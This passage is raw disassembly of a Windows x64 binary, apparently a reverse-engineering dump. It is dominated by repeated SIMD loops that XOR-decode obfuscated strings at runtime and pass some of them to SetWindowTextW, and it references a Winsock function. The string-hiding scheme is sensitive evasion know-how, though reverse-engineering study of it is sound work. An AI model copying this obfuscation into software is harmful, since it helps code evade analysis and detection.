movups xmmword [rbp + 0x240], xmm2
movsd xmm0, qword [0x14009c680]
movsd qword [rbp + 0x250], xmm0
movzx eax, word [0x14009c688]
mov word [rbp + 0x258], ax
mov r8d, ebx
cmp r12d, 2
jl 0x1400286a8
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x240], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x244]
xorps xmm2, xmm1
movd dword [rbp + 0x244], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x248]
xorps xmm2, xmm1
movd dword [rbp + 0x248], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x24c]
xorps xmm2, xmm1
movd dword [rbp + 0x24c], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x250]
xorps xmm2, xmm1
movd dword [rbp + 0x250], xmm2
movdqa xmm3, xmmword [0x14009e3d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x254]
xorps xmm2, xmm1
movd dword [rbp + 0x254], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x240]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400286c0
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0xff0]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xff0]
mov rcx, rdi
call fcn.140005a90
nop
lea rcx, [rbp + 0xff0]
call fcn.1400523c0
movups xmm4, xmmword [str.vPWZv]
movups xmmword [rbp + 0x4c8], xmm4
movups xmm0, xmmword [0x14009e238]
movups xmmword [rbp + 0x4d8], xmm0
movq xmm5, qword [0x14009e248]
movq qword [rbp + 0x4e8], xmm5
movzx eax, word [0x14009e250]
mov word [rbp + 0x4f0], ax
mov r8d, ebx
cmp r12d, 2
jl 0x1400289a5
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x4c8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x4d0]
xorps xmm3, xmm0
movq qword [rbp + 0x4d0], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x4d8]
xorps xmm3, xmm0
movq qword [rbp + 0x4d8], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x4e0]
xorps xmm3, xmm0
movq qword [rbp + 0x4e0], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm15
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x4e8], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x4c8]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x1400289c0
lea rdx, [rbp + 0x4c8]
jmp 0x140029004
movups xmm2, xmmword [str.w_ECWT]
movups xmmword [rbp + 0x158], xmm2
movsd xmm0, qword [0x14009e030]
movsd qword [rbp + 0x168], xmm0
movzx eax, word [0x14009e038]
mov word [rbp + 0x170], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140028ce3
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x158], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x15c]
xorps xmm2, xmm1
movd dword [rbp + 0x15c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x160]
xorps xmm2, xmm1
movd dword [rbp + 0x160], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x164]
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x168]
xorps xmm2, xmm1
movd dword [rbp + 0x168], xmm2
movdqa xmm3, xmmword [0x14009e3d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x16c]
xorps xmm2, xmm1
movd dword [rbp + 0x16c], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x158]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140028cf0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], rbx
mov qword [rbp + 0x308], rbx
lea rax, [rbp + 0x158]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140028d45
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x2f0]
call fcn.140005560
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x2f0]
mov rcx, rdi
call fcn.140005a90
nop
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x140028dba
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028db5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fac4
call fcn.1400626b0
movups xmm0, xmmword [0x14009b9d0]
movups xmm4, xmmword [0x14009b9c0]
movups xmmword [rbp + 0x320], xmm0
movups xmmword [rbp + 0x310], xmm4
mov byte [rbp + 0x2f0], 0
mov qword [rbp + 0x308], 0xf
mov qword [rbp + 0x300], rbx
mov r8d, ebx
cmp r12d, 2
jl 0x140028fc2
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x310], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x318]
xorps xmm3, xmm0
movq qword [rbp + 0x318], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x320]
xorps xmm3, xmm0
movq qword [rbp + 0x320], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x328]
xorps xmm3, xmm0
movq qword [rbp + 0x328], xmm3
jmp 0x140028ffd
lea r9, [rbp + 0x310]
nop dword [rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x140028fd0
lea rdx, [rbp + 0x310]
mov rcx, qword [0x1400afac0]
call qword [sym.imp.USER32.dll_SetWindowTextW]
movups xmm0, xmmword [0x14009cd30]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x14009cd40]
movups xmm0, xmmword [0x14009cd50]
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x14009cd60]
movups xmm0, xmmword [0x14009cd70]
movzx eax, byte [0x14009cd80]
movups xmmword [rbp + 0x50], xmm1
movups xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x70], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002917a
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x20]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x50
jl 0x140029080
cmp r8d, 0x51
jge 0x1400291c3
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x140029190
movzx eax, word [0x14009bcb8]
mov word [rbp - 0x20], ax
movzx eax, byte [0x14009bcba]
movups xmm2, xmmword [0x14009bca8]
mov byte [rbp - 0x1e], al
movups xmmword [rbp - 0x30], xmm2
mov r8d, ebx
cmp r12d, 2
jl 0x14002939f
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x30], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x2c]
xorps xmm2, xmm1
movd dword [rbp - 0x2c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x28]
xorps xmm2, xmm1
movd dword [rbp - 0x28], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x24]
xorps xmm2, xmm1
movd dword [rbp - 0x24], xmm2
mov r8d, r13d
mov eax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400293b0
movups xmm2, xmmword [0x14009b910]
movups xmmword [rbp + 0xd8], xmm2
movzx eax, word [0x14009b920]
mov word [rbp + 0xe8], ax
movzx eax, byte [0x14009b922]
mov byte [rbp + 0xea], al
mov r8d, ebx
cmp r12d, 2
jl 0x1400295dd
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xd8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe0]
xorps xmm2, xmm1
movd dword [rbp + 0xe0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe4]
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400295f0
movsd xmm0, qword [str.xzuvtxjkxj_]
movsd qword [rbp + 0xb8], xmm0
mov ecx, dword [0x14009bb50]
mov dword [rbp + 0xc0], ecx
movzx eax, byte [0x14009bb54]
mov byte [rbp + 0xc4], al
mov r8d, ebx
mov esi, reloc.WS2_32.dll_inet_ntoa
cmp r12d, 2
jl 0x1400297af
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.xzuvtxjkxj_]
xorps xmm1, xmm0
movd dword [rbp + 0xb8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
xorps xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
